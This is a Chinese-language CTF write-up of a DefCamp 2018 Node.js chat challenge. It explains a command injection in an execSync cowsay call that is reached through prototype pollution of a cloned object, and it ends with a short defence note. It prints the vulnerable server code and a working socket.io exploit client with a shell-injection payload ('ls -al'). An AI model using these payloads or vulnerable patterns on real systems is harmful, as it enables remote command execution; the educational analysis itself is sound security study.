從一道 CTF 題看 Nodej.js 的 prototype pollution attack
前言
文章的靈感來自於剛剛結束的 DefCamp CTF 2018 上的一道題目,主要的考點是 Node.js 的 prototype pollution attack。因為在 CTF 中 Node.js 的題型較少,同時本人也恰好對其比較感興趣,所以特地來分析一下這道題的前因後果。
題目
題目是一個由 Node.js 編寫的基於 socket.io 的聊天應用,執行在 ofollow,noindex">https://chat.dctfq18.def.camp 的 80 埠上,我們可以從 https://dctf.def.camp/dctf-18-quals-81249812/chat.zip 下載原始碼
客戶端的程式碼非常簡單,分析 client.js 我們可以發現其只是向服務端註冊使用者併發送訊息:
const io = require('socket.io-client') const socket = io.connect('https://chat.dctfq18.def.camp') if(process.argv.length != 4) { console.log('name and channel missing') process.exit() } console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3]) var inputUser = { name: process.argv[2], }; socket.on('message', function(msg) { console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message); }); socket.on('error', function (err) { console.log('received socket error:') console.log(err) }) socket.emit('register', JSON.stringify(inputUser)); socket.emit('message', JSON.stringify({ msg: "hello" })); socket.emit('join', process.argv[3]);//ps: you should keep your channels private socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" })); socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));
所以我們需要繼續審計服務端的程式碼,可以看到 server.js 中存在著很一個敏感的函式 getAscii
,在分析了其對應的程式碼後,可以發現其中存在著一個很明顯的命令注入問題:
getAscii: function(message) { var e = require('child_process'); return e.execSync("cowsay '" + message + "'").toString(); }
只要我們構造 message = "aaa';ls -al; echo 'xxx"
,伺服器就會將命令 cowsay 'aaa'; ls -al; echo 'xxx'
執行後的結果傳送給我們。
那麼我們需要關注的下一個問題則是哪裡會呼叫 getAscii
函式,可以發現服務端會在監聽到 join 和 leave 兩個事件的時候觸發該函式:
client.on('join', function(channel) { try { clientManager.joinChannel(client, channel); sendMessageToClient(client,"Server", "You joined channel", channel) var u = clientManager.getUsername(client); var c = clientManager.getCountry(client); sendMessageToChannel(channel,"Server", helper.getAscii("User " + u + " living in " + c + " joined channel")) } catch(e) { console.log(e); client.disconnect() } }); client.on('leave', function(channel) { try { client .join(channel); clientManager.leaveChannel(client, channel); sendMessageToClient(client,"Server", "You left channel", channel) var u = clientManager.getUsername(client); var c = clientManager.getCountry(client); sendMessageToChannel(channel, "Server", helper.getAscii("User " + u + " living in " + c + " left channel")) } catch(e) { console.log(e); client.disconnect() } });
所以下一個問題則變成了如何控制變數 u
或 c
,即使用者輸入的 username 和 country,但問題是不是這麼簡單呢?當然不是,服務端會對使用者的輸入做非常嚴格的校驗:
validUser: function(inp) { var block = ["source","port","font","country", "location","status","lastname"]; if(typeof inp !== 'object') { return false; } var keys = Object.keys(inp); for(var i = 0; i< keys.length; i++) { key = keys[i]; if(block.indexOf(key) !== -1) { return false; } } var r =/^[a-z0-9]+$/gi; if(inp.name === undefined || !r.test(inp.name)) { return false; } return true; }
可以看到由於正則檢查的存在,我們根本無法在 name 屬性注入程式碼,而且由於黑名單的限制,我們也無法直接給 country 屬性賦值,那麼問題是不是已經陷入僵局了?答案是否定的,天無絕人之路,在這裡,我們可以使用 prototype pollution attack 來間接複寫 country 屬性。
具體操作如下:
- 我們通過給物件的
__proto__
屬性賦值,構造出{"name":"xxx", "__proto__":{"country":"xxx';ls -al;echo 'xxx"}}
- 在服務端接收該物件並呼叫
clone
函式後,攻擊生效。此時訪問物件的 country 屬性,會得到我們注入的"xxx';ls -al;echo 'xxx"
- 服務端執行
getAscii
函式,觸發命令注入 - 繼續改寫 payload,成功 get flag
payload
const io = require('socket.io-client') const socket = io.connect('https://chat.dctfq18.def.camp') socket.on('error', function (err) { console.log('received socket error:') console.log(err) }) socket.on('message', function(msg) { console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message); }); socket.emit('register', `{"name":"xxx", "__proto__":{"country":"xxx';ls -al;echo 'xxx"}}`); socket.emit('message', JSON.stringify({ msg: "hello" })); socket.emit('join', 'xxx');
問題分析
本題的解題思路就到此為止了,但題目背後的 prototype pollution attack 還是非常值得我們思考的。以上題為例,我們來分析一下為什麼會觸發該攻擊。
可以看到上題中,在收到客戶端的資料後,服務端會先呼叫 JSON.parse 解析使用者輸入,然後再呼叫 clone 函式: newUser = helper.clone(JSON.parse(inUser))
,而問題恰好出在 clone 函式上,我們可以編寫程式碼來複現該操作:
function clone(obj) { if (typeof obj !== 'object' || obj === null) { return obj; } var newObj; var cloneDeep = false; if (!Array.isArray(obj)) { if (Buffer.isBuffer(obj)) { newObj = new Buffer(obj); } else if (obj instanceof Date) { newObj = new Date(obj.getTime()); } else if (obj instanceof RegExp) { newObj = new RegExp(obj); } else { var proto = Object.getPrototypeOf(obj); if (proto && proto.isImmutable) { newObj = obj; } else { newObj = Object.create(proto); cloneDeep = true; } } } else { newObj = []; cloneDeep = true; } if (cloneDeep) { var keys = Object.getOwnPropertyNames(obj); for (var i = 0; i < keys.length; ++i) { var key = keys[i]; var descriptor = Object.getOwnPropertyDescriptor(obj, key); if (descriptor && (descriptor.get || descriptor.set)) { Object.defineProperty(newObj, key, descriptor); } else { newObj[key] = clone(obj[key]); } } } return newObj; } var payload = '{"__proto__":{"oops":"It works !"}}'; var oldObj = JSON.parse(payload); console.log(oldObj.oops); var newObj = clone(oldObj); console.log(newObj.oops);
執行程式碼,可以發現在呼叫 clone 函式之前,我們嘗試訪問 oldObj 的 oops 屬性,得到的結果是 undefined,該屬性不存在;但在 clone 後得到的新物件 newObj 中,我們成功訪問到了原本不存在的 oops 屬性。執行結果如下:
$ node test.js undefined It works !
這說明了我們無法在 oldObj 的自有屬性或原型鏈上找到 oops 屬性,但可以在 newObj 上找到 oops 屬性,那麼必然在呼叫 clone 函式得到 newObj 的時候,newObj 的原型發生了修改,所以我們才能成功訪問到 newObj 的 oops 屬性。
追蹤函式,可以定位到發生問題的操作在哪:
很明顯,在呼叫 Object.getOwnPropertyNames(obj);
後獲得的鍵名中存在 __proto__
,因為在這裡 __proto__
屬性是 obj 物件的一個普通的自有屬性,所以可以被該函式所返回,而一般物件的 __proto__
屬性是不會被該函式所列舉出來的。而之後的 newObj['__proto__'] = clone(obj['__proto__']);
的賦值操作使得 newObj 的原型發生了變化。
為了加深理解,我們可以繼續看下圖:
我們聲明瞭三個 Object,分別是由 JSON.parse 生成的 oldObj,對 oldObj 呼叫 clone 函式生成的 newObj,以及通過物件字面量直接構造的 oriObj。
通過對三個物件分別呼叫 xxx.hasOwnProperty('__proto__')
函式,我們可以發現只有 oldObj 在呼叫該函式時返回了 true;而在呼叫 Object.getPrototypeOf(xxx)
後,只有 newObj 和 oriObj 返回的是 Object {oops: "It works !"}
,oldObj 返回的是 Object {constructor: , __defineGetter__: , __defineSetter__: , hasOwnProperty: , __lookupGetter__: , …}
。這說明 oldObj 的 __proto__
屬性與其餘二者不同,並非是指向原型的屬性,而是一個普通的自有屬性,與其餘的自有屬性並沒有什麼區別,只是恰好名字較為敏感。
這就解釋了上面的現象,為什麼在 JSON.parse 後得到的物件不存在 prototype pollution 的問題,因為此時其所具有的 __proto__
屬性僅僅是一個普通的自有屬性,物件在查詢屬性時會在真正的原型上進行查詢,但在執行 clone 函式的過程中,由於該屬性名字的特殊性,觸發了新物件的原型的修改,最終導致了 prototype pollution。
對 js 如何查詢物件屬性感興趣的同學可以繼續參考下圖:
總結
至此,我們再來梳理一下 prototype pollution attack 觸發的流程:
- 攻擊者傳送的字串
{"__proto__":{"oops":"It works !"}}
在被服務端呼叫 JSON.parse 解析後得到 obj1,但 obj1 的原型是安全的,此時__proto__
僅僅是 obj1 的一個普通的自有屬性 - 服務端呼叫 clone 或類似具有風險的函式,得到了新的物件 obj2,此時 obj2 的原型已經被汙染,指向了攻擊者注入的屬性
{"oops":"It works !"}
- 服務端呼叫新的物件 obj2時,觸發可能的危險操作
對該攻擊的防禦也很簡單,在賦值操作時注意危險的 __proto__
屬性即可。
舉例說明,下圖是 npm 上的庫 hoek 在 prototype pollution attack 發生後提交的 patch,可以看到只要簡單的過濾即可防禦該攻擊:
參考連結
- Defcamp (DCTF) 2018 – Chat
- JavaScript_prototype_pollution_attack_in_NodeJS.pdf" target="_blank" rel="nofollow,noindex">Prototype pollution attack in NodeJS application
- Prototype pollution attack (Hoek)
- JavaScript/Reference/Global_Objects/Object" target="_blank" rel="nofollow,noindex">Object - MDN 文件
- 三張圖搞懂JavaScript的原型物件與原型鏈